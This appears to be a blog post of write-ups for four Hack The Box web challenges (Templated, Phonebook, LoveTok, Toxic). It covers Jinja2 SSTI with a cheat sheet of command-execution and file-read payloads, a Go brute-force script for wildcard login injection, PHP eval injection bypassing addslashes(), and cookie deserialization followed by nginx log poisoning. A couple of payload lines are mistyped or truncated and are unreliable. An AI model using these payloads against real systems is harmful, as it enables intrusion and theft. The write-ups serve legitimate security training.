Templated
打开页面,有提示说是Flask/jinja2框架搭建,以及靶机标题templated判断为ssti模板注入
输入9测试
回显9,确定为ssti模板注入
http://178.128.171.82:31589/{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls ').read()") }}
{% endif %}
{% endfor %}
回显了目录列表,查看flag.txt
拿到flag
这里是典型的python-Flask模板注入,一些基础payload:
获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')
#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').r
Phonebook
打开页面是一个登录框
看到登录框,第一反应为sql注入,试一下万能密码admin' or '1'='1
不行,然后fuzz一下,看有没有SQL注入,没有成功。
尝试通配符登录,用户名密码都填*,登录成功
是一个查询用户电话号码的搜索页面,到处瞅瞅页面没啥问题
问题回到那个登录框,将用户名改为页面下留言的Reese,密码为*,登录成功
将用户名改成其他,密码为*,无法登录
也就是说登录用户名确定为Reese,猜测密码即为flag,flag格式为HTB{},将密码改为H*,发现登录成功,说明猜测没错接下来就是写个脚本爆破出flag值。脚本原理即为一位一位遍历,后面加上一个通配符,前面一位是对的时,会登录成功,否则登录失败。
go脚本如下:
package main
import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
"strings"
)
func main() {
url := "http://144.126.228.187:30674/login"
client := &http.Client{}
chars := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.?!_}"
flag := "HTB{"
password := ""
for i := 0; i < len(chars); i++ {
password = flag + string(chars[i]) + "*"
fmt.Printf("[-] testing %s", password)
data := []byte("username=Reese&password=" + password)
req, _ := http.NewRequest("POST", url, bytes.NewBuffer(data))
req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0")
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error:", err)
}
defer resp.Body.Close()
if resp.StatusCode == 200 {
bodyBytes, _ := ioutil.ReadAll(resp.Body)
bodyString := string(bodyBytes)
if strings.Contains(bodyString, "No search results") {
flag += string(chars[i])
fmt.Println(" success")
fmt.Printf("[+] %s\n", flag)
break
}
}
fmt.Println(" failed")
if flag[len(flag)-1] == '}' {
break
}
}
fmt.Printf("flag: %s\n", flag)
}
LoveTok
题目给了源码,下载下来查看
打开页面,点击最底下的按钮出现format参数,猜测这个参数有利用点,去源码中找到此参数
在TimeModel.php中找到了$format
<?php
class TimeModel
{
public function __construct($format)
{
$this->format = addslashes($format);
[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}
这里用了addslashes()——– 使用反斜线引用字符串
注意下面有个eval()函数,将$this->format包含在了里面,也就意味着,我们可以控制format的值来进行eval()执行代码。
所以,第一步绕过addslashes()的转义
使用php复杂变量进行绕过
https://www.programmersought.com/article/30723400042/
简单来说,${phpinfo()},会先执行phpinfo(),然后将返回值作为变量名
这里“还是会被转义,所以需要换个方式,不使用到这些字符
?format=${system($_GET[1])}&1=ls
?format=${system($_GET[1])}&1=ls /
?format=${system($_GET[1])}&1=cat /flagLpfG2
拿到flag,这就是一道php命令执行的题。
Toxic
给了源码
<?php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';
setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
这里可以看到,cookie是文件读取目录经过序列化之后再进行base64编码后生成的
抓个包
decode
所以我们可以逆向去读取敏感文件
成功读取
注意到最后一行,nginx,想到日志文件包含
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开。
尝试读一下
可以看到日志文件为请求头文件
那么我们可以将请求头中的User-Agent字段更改为恶意代码,这样就会自动写入日志文件中,然后被执行。
再次访问日志文件,之前更改了ua的访问已经被记录
php代码也已经被执行,回显了flag
- 本文标题:HTB Challenges—Web
- 本文作者:n3ym4r
- 创建时间:2023-02-04 16:06:14
- 本文链接:https://n3ym4r.github.io/2023/02/04/HTB Challenges—Web/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!